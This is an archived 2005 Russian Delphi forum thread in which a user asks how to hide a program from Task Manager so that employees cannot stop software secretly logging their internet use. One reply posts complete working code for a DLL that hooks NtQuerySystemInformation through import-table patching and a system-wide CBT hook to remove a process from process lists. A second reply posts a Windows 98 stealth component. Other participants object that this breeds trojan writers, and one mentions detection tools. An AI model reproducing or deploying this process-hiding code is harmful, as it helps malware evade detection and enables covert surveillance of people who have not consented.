Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Основная";
Текущий архив: 2005.07.11;
Скачать: [xml.tar.bz2];

Вниз

невидимое приложение   Найти похожие ветки 

 
olevacho ©   (2005-06-16 15:20) [0]

Как сделать прогу невидимой даже ctrl+Alt+Del. Это совсем не для хулиганства. Просто знакомый попросил написать прогу которая собирает статистику по инет соединениях на компе и чтобы умный работник не мог ее выгрузить если догадается что шеф имеет инфу о его работе.


 
Ega23 ©   (2005-06-16 15:21) [1]

А лог на proxy на что???


 
kaZaNoVa ©   (2005-06-21 13:04) [2]

olevacho ©   (16.06.05 15:20)
в XP это непросто ..  если разбираешься в кодинге, делай ДЛЛ ... и "программ" не надо :)


 
Юрий Зотов ©   (2005-06-21 13:07) [3]

Это задача сисадмина (притом стандартная), а не программиста.


 
Dyakon_Frost ©   (2005-06-21 14:20) [4]

Попробуй так:

ShowWindow(Handle,SW_Hint);
ShowWindow(Application.Handle,SW_Hide);

Правда в процесах прога все равно будет видна!


 
kaZaNoVa ©   (2005-06-21 15:03) [5]

Dyakon_Frost ©   (21.06.05 14:20) [4]
ага, много уже обсуждалось о методах скрытия, лучше не скрывать а сделать введи модуля (DLL) - и скрывать не надо и в прощессах не видна :)

хотя сабж лучше имхо решить ведением логов на прокси ..  (см [1])


 
Crazy_Diman ©   (2005-06-21 15:08) [6]

library Project2;

uses
 Windows,
 SysUtils,
 ImageHlp,
 TlHelp32;

type SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
);

_IMAGE_IMPORT_DESCRIPTOR = packed record
 case Integer of
  0:(
   Characteristics: DWORD);
  1:(
   OriginalFirstThunk:DWORD;
   TimeDateStamp:DWORD;
   ForwarderChain: DWORD;
   Name: DWORD;
   FirstThunk: DWORD);
  end;
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;

PFARPROC=^FARPROC;

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var     ulSize: ULONG;
  pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
   pszModName: PChar;
       pThunk: PDWORD; ppfn:PFARPROC;
       ffound: LongBool;
      written: DWORD;
begin
pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
 if pImportDesc = nil then exit;
 while pImportDesc.Name<>0 do
  begin
   pszModName := PChar(hmodCaller + pImportDesc.Name);
    if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
   Inc(pImportDesc);
  end;
 if (pImportDesc.Name = 0) then exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
 while pThunk^<>0 do
  begin
   ppfn := PFARPROC(pThunk);
   fFound := (ppfn^ = pfnCurrent);
    if (fFound) then
     begin
      VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
      WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
      exit;
     end;
   Inc(pThunk);
  end;
end;

var
addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
fname: PCHAR;
mapaddr: PDWORD;
hideOnlyTaskMan: PBOOL;

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass, SystemProcessesAndThreadsInformation
jne quit

onceagain:
mov esi, SystemInformation

getnextpidstruct:
mov ebx, esi
cmp dword ptr [esi],0
je quit
add esi, [esi]
mov ecx, [esi+44h]
cmp ecx, mypid
jne getnextpidstruct
mov edx, [esi]
test edx, edx
je fillzero
add [ebx], edx
jmp onceagain

fillzero:
and [ebx], edx
jmp onceagain

quit:
mov Result, eax
end ;

procedure InterceptFunctions;
var hSnapShot: THandle;
        me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle("ntdll.dll"),"NtQuerySystemInformation");
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
 if hSnapshot=INVALID_HANDLE_VALUE then exit;
  try
   ZeroMemory(@me32,sizeof(MODULEENTRY32));
   me32.dwSize:=sizeof(MODULEENTRY32);
   Module32First(hSnapShot,me32);
    repeat
     ReplaceIATEntryInOneMod("ntdll.dll",addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
   CloseHandle(hSnapShot);
  end;
end;

procedure UninterceptFunctions;
var hSnapShot: THandle;
        me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle("ntdll.dll"),"NtQuerySystemInformation");
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
 if hSnapshot=INVALID_HANDLE_VALUE then exit;
 try
  ZeroMemory(@me32,sizeof(MODULEENTRY32));
  me32.dwSize:=sizeof(MODULEENTRY32);
  Module32First(hSnapShot,me32);
   repeat
    ReplaceIATEntryInOneMod("ntdll.dll",@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
   until not Module32Next(hSnapShot,me32);
 finally
  CloseHandle(hSnapShot);
 end;
end;

var HookHandle: THandle;

function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
Result:=0;
end;

procedure InstallHook; stdcall;
begin
HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var hFirstMapHandle:THandle;

function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var addrMap: PDWORD;
      ptr2: PBOOL;
begin
mypid:=0;
result:=false;
hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,"NtHideFileMapping");
 if hFirstMapHandle=0 then exit;
addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
 if addrMap=nil then
  begin
   CloseHandle(hFirstMapHandle);
   exit;
  end;
addrMap^:=pid;
ptr2:=PBOOL(DWORD(addrMap)+4);
ptr2^:=HideOnlyFromTaskManager;
UnmapViewOfFile(addrMap);
InstallHook;
result:=true;
end;

exports
HideProcess;

var
hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
 if mypid > 0 then
  UninterceptFunctions()
else
 CloseHandle(hFirstMapHandle);
end;

begin
hmap:=OpenFileMapping(FILE_MAP_READ,false,"NtHideFileMapping");
 if hmap=0 then exit;
 try
  mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
   if mapaddr=nil then exit;
  mypid:=mapaddr^;
  hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
   if hideOnlyTaskMan^ then
    begin
     fname:=allocMem(MAX_PATH+1);
     GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
      if not (ExtractFileName(fname)="taskmgr.exe") then exit;
    end;
  InterceptFunctions;
 finally
  UnmapViewOfFile(mapaddr);
  CloseHandle(Hmap);
  DLLProc:=@LibraryProc;
 end;
end.


Пример использования:
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall; external "nthide.dll";
< skipped >
procedure proc;
begin
HideProcess(GetCurrentProcessId, false); //это спрячет текущий процесс
end;


 
Crazy_Diman ©   (2005-06-21 15:12) [7]

win 98
unit Stealth;

interface
uses
WinTypes, WinProcs, Classes, Forms, SysUtils, Controls, Messages;

type
TStealth = class(TComponent)  

 
private  

 
fHideApp: Boolean;  

procedure SetHideApp(Value: Boolean);  

protected  

{ Protected declarations }  

procedure HideApplication;  

procedure ShowApplication;  

 
public  

 
{ Public declarations }  

constructor Create(AOwner: TComponent); override;  

destructor Destroy; override;  

// procedure Loaded; override;  

 
published  

 
{ Published declarations }  

property HideApp: Boolean read fHideApp write SetHideApp default false;  

 
end;  

 

 
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external "KERNEL32.DLL";

procedure Register;

implementation

destructor TStealth.Destroy;
begin
ShowApplication;  

inherited destroy;  

 
end;

constructor TStealth.Create(AOwner: TComponent);
begin
inherited Create(AOwner);  

// fHideform := true;  

 
end;

procedure TStealth.SetHideApp(Value: Boolean);
begin
fHideApp := Value;  

if Value then HideApplication else ShowApplication;  

 
end;

procedure TStealth.HideApplication;
begin
if not (csDesigning in ComponentState) then  

 
RegisterServiceProcess(GetCurrentProcessID, 1);  

 
end;

procedure TStealth.ShowApplication;
begin
if not (csDesigning in ComponentState) then  

RegisterServiceProcess(GetCurrentProcessID, 0);  

 
end;

procedure Register;
begin
RegisterComponents("My", [TStealth]);  

 
end;

end.


 
kaZaNoVa ©   (2005-06-21 15:20) [8]

Crazy_Diman ©   (21.06.05 15:08) [6]
супер ..  но эт слишком:)


 
DVM ©   (2005-06-21 15:34) [9]


> Crazy_Diman ©  

и нафига спрашиватся плодить троянописателей?


 
kaZaNoVa ©   (2005-06-21 17:35) [10]

DVM ©   (21.06.05 15:34) [9]
ага ..  они сами появляются и так:))


 
Игорь Шевченко ©   (2005-06-21 18:08) [11]

Crazy_Diman ©   (21.06.05 15:08) [6]

Есть еще порох в пороховницах. Но все равно ведь вытащу за ушко на солнышко, так что бесполезно все это.


 
kaZaNoVa ©   (2005-06-22 15:47) [12]

Игорь Шевченко ©   (21.06.05 18:08) [11]
а есть уже готовые программы для выявления скрытых процессов, кроме программ от Русиновича?

Особенно интересны программы, которые не просто показывают все программы, даже те, которые пытаются спрятаться, а те, которые подствечивают и отмечают такие подозрительные процессы, чтобы можно было неквалифицированному пользователю найти подозрительную программу ...


 
Игорь Шевченко ©   (2005-06-22 16:13) [13]

kaZaNoVa ©   (22.06.05 15:47) [12]


> а те, которые подствечивают и отмечают такие подозрительные
> процессы, чтобы можно было неквалифицированному пользователю
> найти подозрительную программу ...


Я код давал в WinAPI - подсветку сделать нетрудно.



Страницы: 1 вся ветка

Форум: "Основная";
Текущий архив: 2005.07.11;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.5 MB
Время: 0.039 c
14-1118393080
Empleado
2005-06-10 12:44
2005.07.11
Люблю шведов ...


10-1095145890
Суслик
2004-09-14 11:11
2005.07.11
structured storage


1-1118494123
bma_ru
2005-06-11 16:48
2005.07.11
Динамические массивы в dll


3-1117091783
mebel
2005-05-26 11:16
2005.07.11
Последний раз! покажите в тексте что я делаю не так?


4-1116082031
TForm1
2005-05-14 18:47
2005.07.11
Запуск внутри...





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский